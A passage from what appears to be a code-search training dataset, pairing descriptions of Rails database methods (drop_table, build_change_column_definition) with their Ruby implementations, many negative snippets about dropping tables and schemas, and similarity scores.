"0.55795056",
"0.5566723",
"0.5548401",
"0.5548007",
"0.5539798",
"0.5539785",
"0.5534684",
"0.55221605",
"0.5487243",
"0.5455152",
"0.54479605",
"0.54252034",
"0.5422185",
"0.5410325",
"0.5399648",
"0.5397712",
"0.5395823",
"0.53945655",
"0.5377089",
"0.5377089",
"0.5344547",
"0.5339332",
"0.5335505",
"0.53080773",
"0.53080773",
"0.5301105",
"0.53009987",
"0.5300703",
"0.53005147",
"0.52888924",
"0.52856505",
"0.5276235",
"0.52620685",
"0.526046",
"0.5254888",
"0.5251454",
"0.52367854",
"0.5229374",
"0.5228465",
"0.521563",
"0.5214806",
"0.5212546",
"0.5196329",
"0.5190306",
"0.5189306",
"0.51841164",
"0.5175819",
"0.51660705",
"0.51659566",
"0.51603174",
"0.51603174",
"0.5155426",
"0.5146253",
"0.51393676",
"0.51288337",
"0.51280457",
"0.51146406"
] |
0.81299496
|
2
|
Drops a table from the database. [:force] Set to +:cascade+ to drop dependent objects as well. Defaults to false. [:if_exists] Set to +true+ to only drop the table if it exists. Defaults to false. [:temporary] Set to +true+ to drop temporary table. Defaults to false. Although this command ignores most +options+ and the block if one is given, it can be helpful to provide these in a migration's +change+ method so it can be reverted. In that case, +options+ and the block will be used by create_table.
|
def drop_table(table_name, **options)
schema_cache.clear_data_source_cache!(table_name.to_s)
execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def drop_table_sql(name, options)\n \"DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_schema_table(name)}#{' CASCADE' if options[:cascade]}\"\n end",
"def destroy!\n drop_ddl = tables.map(&:name).map do |t|\n \"drop table if exists #{t};\\n\"\n end.join\n ActiveRecord::Base.connection.execute(drop_ddl)\n end",
"def drop(db)\n\tif $table_exists\n\t\tdb.execute(\"DROP TABLE items;\")\n\t\t$table_exists = false\n\t\tputs \"\\nTable successfully deleted.\"\n\telse\n\t\tputs \"\\nTable successfully deleted.\"\n\tend\nend",
"def drop_table?(*names)\n options = names.last.is_a?(Hash) ? names.pop : OPTS\n if supports_drop_table_if_exists?\n options = options.merge(:if_exists=>true)\n names.each do |name|\n drop_table(name, options)\n end\n else\n names.each do |name|\n drop_table(name, options) if table_exists?(name)\n end\n end\n nil\n end",
"def supports_drop_table_if_exists?\n true\n end",
"def supports_drop_table_if_exists?\n true\n end",
"def drop_table(table_name, options = {})\n table_name, options = extract_table_options(table_name, options)\n super(table_name, **options)\n end",
"def drop_table\n self.connection.drop_table table_name\n end",
"def drop_table\n db.drop_table(table_name)\n end",
"def drop_table_statement(repository, model)\n \"DROP TABLE #{quote_table_name(model.storage_name(repository.name))}\"\n end",
"def drop_table(*names)\n options = names.last.is_a?(Hash) ? names.pop : OPTS \n names.each do |n|\n execute_ddl(drop_table_sql(n, options))\n remove_cached_schema(n)\n end\n nil\n end",
"def drop_trigger(table_name, trigger_name, options = {})\n SchemaMonkey::Middleware::Migration::CreateTrigger.start(connection: self, table_name: table_name, trigger_name: trigger_name, options: options) do |env|\n table_name = env.table_name\n trigger_name = env.trigger_name\n options = env.options\n\n sql = \"DROP TRIGGER\"\n sql += \" IF EXISTS\" if options[:if_exists]\n sql += \" #{quote_table_name(trigger_name)} ON #{quote_table_name(table_name)}\"\n sql += \" CASCADE\" if options[:cascade]\n\n execute sql\n end\n end",
"def drop_table(name)\n not_exist(name)\n\n ORM::DBConnection.new(model_name(name)).remove_table(name)\n File.delete(\"app/services/db/tables/#{name}.json\")\n end",
"def drop_tablespace(name, options = {})\n sql = 'DROP TABLESPACE '\n sql << 'IF EXISTS ' if options[:if_exists]\n sql << quote_tablespace(name)\n\n execute(\"#{sql};\")\n end",
"def delete_table\n table_name = self.to_s.pluralize.underscore\n DATABASE.execute(\"DROP TABLE #{table_name}\")\n end",
"def drop\n\t\tActiveRecord::Base.connection.execute \"SET AUTOCOMMIT=0\"\n\t\tActiveRecord::Base.connection.execute \"SET FOREIGN_KEY_CHECKS=0\"\n\n self.change_schema_to 'information_schema';\n @result[:deleted] = []\n \n if request[:remove_all]\n #remove all tables\n @tables = ActiveRecord::Base.connection.select_all \"select TABLE_NAME table_name from `TABLES` where `TABLE_SCHEMA`='#{request[:db_name]}'\"\n self.change_schema_to request[:db_name];\n \n @tables.each do |table|\n ActiveRecord::Base.connection.execute \"drop table `#{table[\"table_name\"]}`\"\n @result[:deleted].push table[\"table_name\"];\n end\n else\n self.change_schema_to request[:db_name];\n ActiveRecord::Base.connection.execute \"drop table `#{request[:key]}`\";\n @result[:deleted].push request[:key];\n end\n \n self.change_schema_to 'information_schema';\n @result[:type] = 'table'\n render json: @result\n end",
"def destroy\n [METADATA_TABLE_NAME, RUN_HISTORY_TABLE_NAME,\n DISABLED_MONITOR_TABLE_NAME, MONITOR_INFO_TABLE_NAME].each do |table|\n @db.execute(\"DROP TABLE IF EXISTS #{table}\")\n end\n\n create()\n end",
"def drop_table(table_name = temporary_table_name)\n ::RailsRedshiftReplicator.connection.exec \"drop table if exists #{table_name}\"\n end",
"def drop!(db, colls = nil)\n db.in_transaction do |conn|\n schema_tables(conn).each do |table|\n conn.exec \"DROP TABLE IF EXISTS #{table}\"\n end\n end\n end",
"def drop_trigger_sql(table, name, opts=OPTS)\n \"DROP TRIGGER#{' IF EXISTS' if opts[:if_exists]} #{name} ON #{quote_schema_table(table)}#{' CASCADE' if opts[:cascade]}\"\n end",
"def drop_tables!\n migrate(:down)\n end",
"def drop_table(tablename)\r\n raise(ArgumentError, 'Table name must be a symbol!') unless \\\r\n tablename.is_a?(Symbol)\r\n raise \"Table does not exist!\" unless table_exists?(tablename)\r\n @table_hash.delete(tablename)\r\n\r\n return @engine.delete_table(tablename)\r\n end",
"def drop_versioned_table\n self.connection.drop_table versioned_table_name\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_schema_table(name)}\"\n end",
"def down\n \tdrop_table :problems\n\n \t#execute <<-SQL\n \t#\tDROP TYPE difficulty;\n \t#SQL\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_schema_table(name)}\"\n end",
"def delete_table(table)\r\n referenced_by = references(table)\r\n if !referenced_by.empty?\r\n puts \"unable to delete table \\'#{table}\\' because it is referenced by table(s):\"\r\n referenced_by.each{|table_name| puts \"#{table_name}\"}\r\n false\r\n elsif table_exists?(table)\r\n delete_table_cmd = \"DROP TABLE IF EXISTS #{table}\"\r\n @db.execute(delete_table_cmd)\r\n puts \"#{table} was deleted\"\r\n true\r\n end\r\n end",
"def drop_join_table(hash, options=OPTS)\n drop_table(join_table_name(hash, options), options)\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_identifier(name)}\"\n end",
"def drop_schema_sql(name, opts=OPTS)\n \"DROP SCHEMA#{' IF EXISTS' if opts[:if_exists]} #{quote_identifier(name)}#{' CASCADE' if opts[:cascade]}\"\n end",
"def dropUserTable(tableName)\n @conn.exec(\"DROP TABLE #{tableName}\")\n end",
"def drop_table(klass)\n # Remove leftover data from some join tabkes.\n klass.relations.each do |rel|\n if rel.class.to_s == \"Og::JoinsMany\" and rel.join_table\n target_class = rel.target_class\n exec \"DELETE FROM #{rel.join_table}\"\n end\n end\n exec \"DROP TABLE #{klass.table}\"\n end",
"def delete_table(table, options={})\n return send_message(SkyDB::Message::DeleteTable.new(table, options))\n end",
"def test_drop_table_if_exists\n connection.create_table(:testings)\n assert connection.table_exists?(:testings)\n connection.drop_table(:testings, if_exists: true)\n assert_not connection.table_exists?(:testings)\n end",
"def drop_schema(schema_name, options = {})\n execute \"DROP SCHEMA#{' IF EXISTS' if options[:if_exists]} #{quote_schema_name(schema_name)} CASCADE\"\n end",
"def drop_table(*names)\n names.each {|n| execute(drop_table_sql(n))}\n end",
"def delete_table\n TinyDyno::Adapter.delete_table(table_name: self.table_name)\n end",
"def down\n execute <<-SQL\n DROP TABLE event_registrations;\n SQL\n\n execute <<-SQL\n DROP TABLE members;\n SQL\n\n execute <<-SQL\n DROP TABLE events;\n SQL\n\n execute <<-SQL\n DROP TABLE treatment_logs;\n SQL\n\n execute <<-SQL\n DROP TABLE feeding_logs;\n SQL\n\n execute <<-SQL\n DROP TABLE employees;\n SQL\n\n execute <<-SQL\n DROP TABLE animals;\n SQL\n\n execute <<-SQL\n DROP TABLE tanks;\n SQL\n\n execute <<-SQL\n DROP TABLE habitats;\n SQL\n end",
"def delete_table(db)\n\tputs ('Are you sure you want to wipe the table? (y/n)')\n\tif gets.chomp == 'y'\n\t\tdb.execute(\"DELETE FROM todo\")\n\t\tdb.execute(\"DELETE FROM log\") \n\tend\nend",
"def alter_table(name, generator=nil, options=nil, &block)\n if Hash === options\n generator ||= Schema::AlterTableGenerator.new(self, &block)\n\t\t alter_table_sql_list(name, generator.operations, options).\n\t\t flatten.each {|sql| execute_ddl(sql)}\n\t\t remove_cached_schema(name)\n\t\t nil\n else\n\t super(name, generator, &block)\n end\n end",
"def drop_table?\n db.drop_table?(table_name)\n end",
"def delete_traps\n @db.execute(\"DROP TABLE Traps\")\n end",
"def remove_check(table_name, options)\n name = options.fetch(:name) { raise 'remove_check, :name option required' }\n\n execute <<-SQL\n ALTER TABLE #{quote_table_name(table_name)}\n DROP CONSTRAINT #{quote_column_name(name)}\n SQL\n end",
"def down\n \tdrop_table :solution_submissions\n\n # \texecute <<-SQL\n # \t\tDROP TYPE s_status;\n # \tSQL\n\n # \texecute <<-SQL\n # \t\tDROP TYPE lang;\n # \tSQL\n\n end",
"def down\n drop_table TABLE_NAME\n end",
"def delete_table(table_name, options = {})\n call(:delete, table_uri(table_name, new_query(options)), nil, {}, options)\n nil\n end",
"def drop_table(table)\n current_instructions << Instructions::DropTable.new(table: table)\n end",
"def dropUserTable\n @conn.exec(\"DROPE users\")\n end",
"def drop_database(name) #:nodoc:\n execute \"DROP DATABASE #{quote_table_name(name)}\"\n end",
"def supports_drop_table_if_exists?\n supports_create_table_if_not_exists?\n end",
"def drop_database(name) # :nodoc:\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def drop_database(name) #:nodoc:\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def delete_table(table_name, options={})\n query = { }\n query[\"timeout\"] = options[:timeout].to_s if options[:timeout]\n\n call(:delete, table_uri(table_name, query), nil, {}, options)\n nil\n end",
"def remove_trigger(table, name, options={})\n options[:name] = name\n execute \"DROP TRIGGER #{trigger_name(table, [], options).to_sql_name} ON #{table} #{cascade_or_restrict(options[:deep])};\"\n end",
"def remove_trigger(table, name, options={})\n options[:name] = name\n execute \"DROP TRIGGER #{trigger_name(table, [], options).to_sql_name} ON #{table} #{cascade_or_restrict(options[:deep])};\"\n end",
"def unlink\n self.transaction do\n self.class.factory.model.connection.execute <<-SQL\n ALTER TABLE #{name} NO INHERIT #{self.class.factory.model.table_name};\n ALTER TABLE #{name} RENAME TO #{name}_unlinked;\n SQL\n self.destroy\n end\n end",
"def delete_kiosks\n @db.execute(\"DROP TABLE Kiosks\")\n end",
"def truncate_db\n drop_table\n create_table\n end",
"def drop_movies_table\n c = PGconn.new(:host => \"localhost\", :dbname => \"testdb\")\n c.exec \"DROP TABLE products;\"\n c.close\nend",
"def drop_rule(name, table)\n execute \"DROP RULE #{quote_rule(name)} ON #{quote_table_name(table)};\"\n end",
"def down\n \t# Example\n \t# Easy to undo something you create, but this doesn't work\n \t# because it is hard to fix mistakes.\n \t# drop_table :pictures\n end",
"def drop_and_create_schema_migrations_table\n sql = [\n \"USE #{@database}\",\n 'DROP TABLE IF EXISTS schema_migrations',\n 'CREATE TABLE schema_migrations ( version varchar(255) COLLATE utf8_unicode_ci NOT NULL, UNIQUE KEY unique_schema_migrations (version)) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci'\n ]\n\n run_commands(sql)\n end",
"def purge\n @db.execute( \"DELETE FROM #{TABLE_NAME};\" )\n end",
"def destroy_db(options)\n info \"Dropped database '#{options[:name]}'\"\n end",
"def drop_movies_table\n c = connect\n c.exec \"DROP TABLE IF EXISTS movies;\" \n c.close\nend",
"def drop_event_trigger(name, options = {})\n sql = 'DROP EVENT TRIGGER '\n sql << 'IF EXISTS ' if options[:if_exists]\n sql << quote_generic(name)\n sql << ' CASCADE' if options[:cascade]\n execute(\"#{sql};\")\n end",
"def drop_database(name)\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def drop_view_sql(name, options)\n \"DROP VIEW#{' IF EXISTS' if options[:if_exists]} #{quote_schema_table(name)}#{' CASCADE' if options[:cascade]}\"\n end",
"def delete_table instance_id, table_id\n execute do\n tables.delete_table(\n table_path(instance_id, table_id)\n )\n end\n end",
"def create_table!(*args, &block)\n drop_table?\n create_table(*args, &block)\n end",
"def drop\n\n\t\t# for user\n\t\tif(!current_user.admin)\n\t\t\tBook.where('owner_id' => current_user.id).delete_all\n\t\telse\n\t\t\tBook.delete_all\n\t\tend\n\t\t\n\t\tflash[:success] = \"Deleted table book!\"\n\t\tredirect_to '/books'\n\tend",
"def drop_schema(name, opts = {})\n execute_ddl(drop_schema_sql(name, opts))\n end",
"def destroy(table)\n end",
"def delete(options = {})\n options.to_options!\n before_delete\n if options[:force]||options[:remove]\n delete_item\n else\n attributes['deleted_at'] = Transaction.time\n save_without_validation\n end\n self\n ensure\n @deleted = true\n after_delete unless $!\n end",
"def remove_foreign_key(table_name, *args)\n if self.adapter_name == \"PostgreSQL\" or self.adapter_name == \"MySQL\"\n options = args.extract_options!\n name = if options[:name]\n options[:name]\n else\n columns = args.first\n index_name(table_name, :column => Array(columns))\n end\n\n execute \"ALTER TABLE #{quote_table_name(table_name)} DROP FOREIGN KEY #{quote_column_name(name)}\"\n end\n end",
"def clear\n table_ = [keyspace, table].compact.join '.'\n statement = \"DROP TABLE IF EXISTS #{table_} ;\"\n session.execute(statement)\n end",
"def drop_schema schema_name\n execute \"DROP SCHEMA #{schema_name} CASCADE\"\n end",
"def drop_schema_sql(name, opts = {})\n \"DROP SCHEMA #{quote_identifier(name)} CASCADE\"\n end",
"def delete_table(table_id); delete(\"tables/#{table_id}\"); nil; end",
"def delete_table instance_id, table_id\n tables.delete_table name: table_path(instance_id, table_id)\n end",
"def drop\n ensure_service!\n service.drop_database instance_id, database_id\n true\n end",
"def drop\n ensure_service!\n service.drop_database instance_id, database_id\n true\n end",
"def create_table!(*args, &block)\n drop_table(model.table_name)\n create_table(*args, &block)\n end",
"def drop_table(table)\n connection.drop_collection(database,table)\n end",
"def create_table!(name, &block)\n drop_table(name) rescue nil\n create_table(name, &block)\n end",
"def delete table\n table = table.to_sym\n @lookup = @lookup.reject { |k, v| k == table }\n @schema = @schema.reject { |k, v| k == table }\n nil\n end",
"def clear!\n transaction do\n Schema::TABLES.each do |table|\n execute(\"DELETE FROM #{table}\")\n execute(\"DELETE FROM sqlite_sequence WHERE name = '#{table}'\") # reset the auto-increment sequence\n end\n end\n self\n end",
"def down\n execute <<-SQL\n DROP TABLE working_intervals;\n SQL\n end",
"def teardown(environment_options, client, region = 'AWS_REGION')\n super\n puts \"Tearingdown Table: #{@table_name} from Environment: #{environment_options.name}\"\n full_table_name = @table_name + (@append_environment_on_deploy ? \"-#{environment_options.name}\" : '')\n delete_table(full_table_name)\n full_table_name\n end",
"def reset\n tables = MODELS + [ENV['SCHEMA_TABLE']]\n tables.each { |t|\n DB << \"DROP TABLE IF EXISTS #{t.inspect};\"\n }\nend",
"def uninstall_on!(db, options = {})\n sql = \"\"\n all_objects_in_order.reverse.each{|o| \n begin\n sql = o.to_clean_sql(db)\n execute_ddl(db, sql, options)\n rescue Sequel::Error => ex\n puts \"Ignoring: #{ex.message}\" if options[:verbose]\n end\n }\n db\n end",
"def delete\n\n DB.execute(\"DELETE FROM #{table_name} WHERE id = #{@id};\")\n end",
"def uninstall_on(db, options = {})\n buffer, sql = \"\", \"\"\n all_objects_in_order.reverse.each{|o| \n sql = o.to_clean_sql(db)\n (buffer << sql << \";\\n\") unless sql.nil? or sql.empty?\n }\n execute_ddl(db, buffer, options)\n db\n end",
"def truncate_table\n\t\t\t transaction { connection.execute(\"TRUNCATE TABLE #{quoted_table_name};\") }\n\t\t end",
"def delete\n table_name = self.class.to_s.pluralize.underscore\n DATABASE.execute(\"DELETE FROM #{table_name} WHERE id = #{@id};\")\n end",
"def destroy!\n Dropio::Resource.client.delete_drop(self)\n end",
"def destroy(options = {})\n call_hooks 'destroy' do\n options = options.dup\n options[:omit_model_identifiers] ||= {}\n options[:omit_model_identifiers][model_identifier] = self\n self.class.association_columns.each do |name, col|\n delete_candidates = get_attr(name)\n Array(delete_candidates).each do |candidate|\n next if options[:omit_model_identifiers][candidate.model_identifier]\n if col.dependent == :destroy\n candidate.destroy(options)\n elsif col.dependent == :delete\n candidate.delete(options)\n end\n end\n end\n delete\n end\n self\n end",
"def drop_foreign_key(table, field)\n execute \"ALTER TABLE #{table} DROP FOREIGN KEY #{constraint_name(table, field)}\"\n end",
"def delete\n table = self.class.to_s.pluralize.underscore\n\n DATABASE.execute(\"DELETE FROM #{table} WHERE id = #{@id};\")\n end",
"def move_table(from, to, options = {}, &block)\n copy_table(from, to, options, &block)\n drop_table(from)\n end"
] |
[
"0.70287",
"0.67377406",
"0.64704764",
"0.6361707",
"0.6212682",
"0.6212682",
"0.620601",
"0.6202963",
"0.6191556",
"0.6182046",
"0.6161013",
"0.61244553",
"0.6104909",
"0.59706134",
"0.5953467",
"0.5944827",
"0.59175855",
"0.58875805",
"0.5879335",
"0.58112174",
"0.5781739",
"0.57217836",
"0.571719",
"0.5671241",
"0.5631842",
"0.5615181",
"0.56089264",
"0.55773926",
"0.55516326",
"0.5545813",
"0.553825",
"0.5535464",
"0.5525225",
"0.5523267",
"0.5520298",
"0.5517611",
"0.5517441",
"0.5512546",
"0.54943615",
"0.5478086",
"0.54778993",
"0.5453948",
"0.5452948",
"0.5451839",
"0.5437711",
"0.5414643",
"0.5379621",
"0.5376172",
"0.53666323",
"0.5366282",
"0.5344376",
"0.5327091",
"0.53199893",
"0.5308926",
"0.5308926",
"0.5297245",
"0.5282068",
"0.52788216",
"0.52471864",
"0.5245555",
"0.5243046",
"0.524228",
"0.52398694",
"0.5203594",
"0.51966685",
"0.51860815",
"0.5179233",
"0.51770544",
"0.5173106",
"0.5140451",
"0.5100328",
"0.509956",
"0.50938576",
"0.5090918",
"0.5090729",
"0.5089263",
"0.5069006",
"0.5055617",
"0.50370467",
"0.50264096",
"0.5025632",
"0.5025632",
"0.5024702",
"0.5017837",
"0.5013699",
"0.49867663",
"0.49842918",
"0.49810886",
"0.49750552",
"0.49636164",
"0.49582127",
"0.49417004",
"0.49405494",
"0.4936388",
"0.49361855",
"0.4927193",
"0.4920478",
"0.49117678",
"0.48899344",
"0.48841757"
] |
0.7411839
|
0
|
Builds a ChangeColumnDefinition object. This definition object contains information about the column change that would occur if the same arguments were passed to change_column. See change_column for information about passing a +table_name+, +column_name+, +type+ and other options that can be passed.
|
def build_change_column_definition(table_name, column_name, type, **options) # :nodoc:
column = column_for(table_name, column_name)
type ||= column.sql_type
unless options.key?(:default)
options[:default] = column.default
end
unless options.key?(:null)
options[:null] = column.null
end
unless options.key?(:comment)
options[:comment] = column.comment
end
if options[:collation] == :no_collation
options.delete(:collation)
else
options[:collation] ||= column.collation if text_type?(type)
end
unless options.key?(:auto_increment)
options[:auto_increment] = column.auto_increment?
end
td = create_table_definition(table_name)
cd = td.new_column_definition(column.name, type, **options)
ChangeColumnDefinition.new(cd, column.name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def build_column(column_id: nil, validate_data: false, format_pattern: 'NONE', name:, type:, table:)\n column_id ||= table.columns.size\n raise ArgumentError.new('Column ID must be Integer') unless column_id.is_a?(Integer)\n raise ArgumentError.new(\"Column type must be #{ AVAILABLE_COLUMN_TYPES }\") unless AVAILABLE_COLUMN_TYPES.include?(type)\n new_column = Column.new()\n new_column.name = name\n new_column.type = type\n new_column.kind = 'fusiontables#column'\n new_column.validate_data = validate_data\n new_column.format_pattern = format_pattern\n new_column\n end",
"def new_column_definition(base, name, type)\n definition = ColumnDefinition.new base, name, type\n @columns << definition\n @columns_hash[name] = definition\n definition\n end",
"def generate_column_def_table()\r\n table_def_name = \"column_definitions\"\r\n # If the table doesn't already exist, create it\r\n puts \"Creating column definition table (#{table_def_name}) if it doesn't exist.\" if @enable_debug_logging\r\n db_column_size_limits = @db_column_size_limits\r\n @db.transaction(:retry_on => [Sequel::SerializationFailure]) do\r\n @db.create_table?(table_def_name.to_sym) do\r\n String :tableName, :size => db_column_size_limits[:tableName]\r\n String :kappSlug, :size => db_column_size_limits[:kappSlug]\r\n String :formSlug, :size => db_column_size_limits[:formSlug]\r\n String :fieldName, :text => true\r\n String :fieldKey, :size => db_column_size_limits[:fieldKey]\r\n String :columnName, :size => db_column_size_limits[:columnName]\r\n primary_key [:tableName, :columnName]\r\n end\r\n end\r\n end",
"def column_definitions(table_name)\n fields = query(<<~SQL, \"SCHEMA\")\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,\n c.collname, NULL AS comment,\n #{supports_virtual_columns? ? 'attgenerated' : quote('')} as attgenerated,\n NULL as is_hidden\n FROM pg_attribute a\n LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n LEFT JOIN pg_type t ON a.atttypid = t.oid\n LEFT JOIN pg_collation c ON a.attcollation = c.oid AND a.attcollation <> t.typcollation\n WHERE a.attrelid = #{quote(quote_table_name(table_name))}::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n SQL\n\n crdb_fields = crdb_column_definitions(table_name)\n\n # Use regex comparison because if a type is an array it will\n # have [] appended to the end of it.\n target_types = [\n /geometry/,\n /geography/,\n /interval/,\n /numeric/\n ]\n\n re = Regexp.union(target_types)\n fields.map do |field|\n dtype = field[1]\n field[1] = crdb_fields[field[0]][2].downcase if re.match(dtype)\n field[7] = crdb_fields[field[0]][1]&.gsub!(/^\\'|\\'?$/, '')\n field[9] = true if crdb_fields[field[0]][3]\n field\n end\n fields.delete_if do |field|\n # Don't include rowid column if it is hidden and the primary key\n # is not defined (meaning CRDB implicitly created it).\n if field[0] == CockroachDBAdapter::DEFAULT_PRIMARY_KEY\n field[9] && !primary_key(table_name)\n else\n false # Keep this entry.\n end\n end\n end",
"def column(name, type = nil, options = {})\n super\n column = self[name]\n # NOTE: <= 3.1 no #new_column_definition hard-coded ColumnDef.new :\n # column = self[name] || ColumnDefinition.new(@base, name, type)\n # thus we simply do not support array column definitions on <= 3.1\n column.array = options[:array] if column.is_a?(ColumnDefinition)\n self\n end",
"def column_definition_sql(column)\n return constraint_definition_sql(column) if column[:type] == :check\n sql = \"#{quote_identifier(column[:name])} #{type_literal(TYPES[column[:type]])}\"\n column[:size] ||= 255 if column[:type] == :varchar\n elements = column[:size] || column[:elements]\n sql << literal(Array(elements)) if elements\n sql << UNSIGNED if column[:unsigned]\n sql << UNIQUE if column[:unique]\n sql << NOT_NULL if column[:null] == false\n sql << NULL if column[:null] == true\n sql << \" DEFAULT #{literal(column[:default])}\" if column.include?(:default)\n sql << PRIMARY_KEY if column[:primary_key]\n sql << \" #{auto_increment_sql}\" if column[:auto_increment]\n if column[:table]\n sql << \" REFERENCES #{quote_identifier(column[:table])}\"\n sql << \"(#{quote_identifier(column[:key])})\" if column[:key]\n sql << \" ON DELETE #{on_delete_clause(column[:on_delete])}\" if column[:on_delete]\n end\n sql\n end",
"def column_definition_sql(column)\n return constraint_definition_sql(column) if column[:type] == :check\n sql = \"#{quote_identifier(column[:name])} #{type_literal(column)}\"\n sql << UNIQUE if column[:unique]\n sql << NOT_NULL if column[:null] == false\n sql << NULL if column[:null] == true\n sql << \" DEFAULT #{literal(column[:default])}\" if column.include?(:default)\n sql << PRIMARY_KEY if column[:primary_key]\n sql << \" #{auto_increment_sql}\" if column[:auto_increment]\n sql << column_references_sql(column) if column[:table]\n sql\n end",
"def crdb_column_definitions(table_name)\n fields = \\\n query(<<~SQL, \"SCHEMA\")\n SELECT c.column_name, c.column_comment, c.crdb_sql_type, c.is_hidden::BOOLEAN\n FROM information_schema.columns c\n WHERE c.table_name = #{quote(table_name)}\n SQL\n\n fields.reduce({}) do |a, e|\n a[e[0]] = e\n a\n end\n end",
"def column_definition_sql(column)\n return constraint_definition_sql(column) if column[:type] == :check\n sql = \"#{quote_identifier(column[:name])} #{type_literal(column)}\"\n sql << UNIQUE if column[:unique]\n sql << NOT_NULL if column[:null] == false\n sql << NULL if column[:null] == true\n sql << \" DEFAULT #{literal(column[:default])}\" if column.include?(:default)\n sql << PRIMARY_KEY if column[:primary_key]\n sql << \" #{auto_increment_sql}\" if column[:auto_increment]\n sql << column_references_sql(column) if column[:table]\n sql\n end",
"def column_definitions(table_name) #:nodoc:\n query <<-end_sql\nselect\nc.name,\ncase\nwhen t.name in ('char', 'varchar', 'nchar', 'nvarchar') then 'string'\nwhen t.name in ('binary', 'varbinary', 'image') then 'binary'\nwhen t.name in ('int', 'smallint', 'tinyint') then 'integer'\nwhen t.name in ('datetime', 'smalldatetime') then 'datetime'\nwhen t.name = 'bit' then 'boolean'\nwhen t.name = 'numeric' and c.prec < 10 and c.scale = 0 then 'integer'\nwhen t.name = 'numeric' then 'decimal'\nwhen t.name = 'text' then 'text'\nelse t.name\nend type,\nd.text,\nc.isnullable\nfrom\nsyscolumns c\ninner join systypes t\non c.xusertype = t.xusertype\nleft outer join syscomments d\non c.cdefault = d.id\nwhere\nc.id = object_id('#{table_name}')\norder by\nc.colid\nend_sql\n end",
"def columns(table_name)\n column_definitions(table_name.to_s).map do |column_name, type, default, notnull, oid, fmod|\n default_value = extract_value_from_default(default)\n type_metadata = fetch_type_metadata(column_name, type, oid, fmod)\n default_function = extract_default_function(default_value, default)\n new_column(column_name, default_value, type_metadata, notnull == 'f', table_name, default_function)\n end\n end",
"def column\n cast_type = ActiveRecord::Base.connection.send(:lookup_cast_type, definition)\n metadata = ActiveRecord::ConnectionAdapters::SqlTypeMetadata.new(\n type: cast_type.type,\n sql_type: definition,\n limit: cast_type.limit\n )\n mysql_metadata = ActiveRecord::ConnectionAdapters::MySQL::TypeMetadata.new(metadata)\n @column ||= self.class.column_factory.new(\n name,\n default_value,\n mysql_metadata,\n null_value\n )\n end",
"def build_columns\n return unless configurable?\n return if @columns_opted == false\n selector(ORMUtils.properties(model), @columns_opted, @columns_ignored).each do |setup|\n setup << {summary: false} if setup.last == 'text'\n column *setup\n end\n end",
"def column_definitions(table_name) #:nodoc:\n exec_query(<<-end_sql, 'SCHEMA')\n SELECT a.attname as column_name, format_type(a.atttypid, a.atttypmod) as column_type, d.adsrc as column_default, a.attnotnull as column_not_null\n FROM pg_attribute a LEFT JOIN pg_attrdef d\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n end_sql\n end",
"def create_column(id)\n column = Column.new(id)\n column.insert_left self\n return @columns[id] = column\n end",
"def column_definitions(table_name)\r\n query <<-end_sql\r\n SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull, c.consrc\r\n FROM pg_attribute a LEFT JOIN pg_attrdef d\r\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\r\n LEFT JOIN pg_constraint c ON a.attrelid = c.conrelid AND \r\n c.contype = 'c' AND c.conkey[1] = a.attnum\r\n WHERE a.attrelid = '#{table_name}'::regclass\r\n AND a.attnum > 0 AND NOT a.attisdropped\r\n ORDER BY a.attnum\r\n end_sql\r\n end",
"def change_column(table_name, name, new_type)\n column_functional(table_name) do\n change_table_column(name, new_type)\n end\n end",
"def column_definitions(table_name) #:nodoc:\n exec_query(<<-end_sql, 'SCHEMA').rows\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod\n FROM pg_attribute a LEFT JOIN pg_attrdef d\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n end_sql\n end",
"def column_family\n @column_family ||= begin\n column_family = keyspace.column_family({\n name: :migrations,\n schema: {\n primary_key: [:version, :name],\n columns: {\n version: :text,\n name: :text,\n migrated_at: :timestamp,\n },\n },\n })\n column_family.create unless column_family.exists?\n column_family\n end\n end",
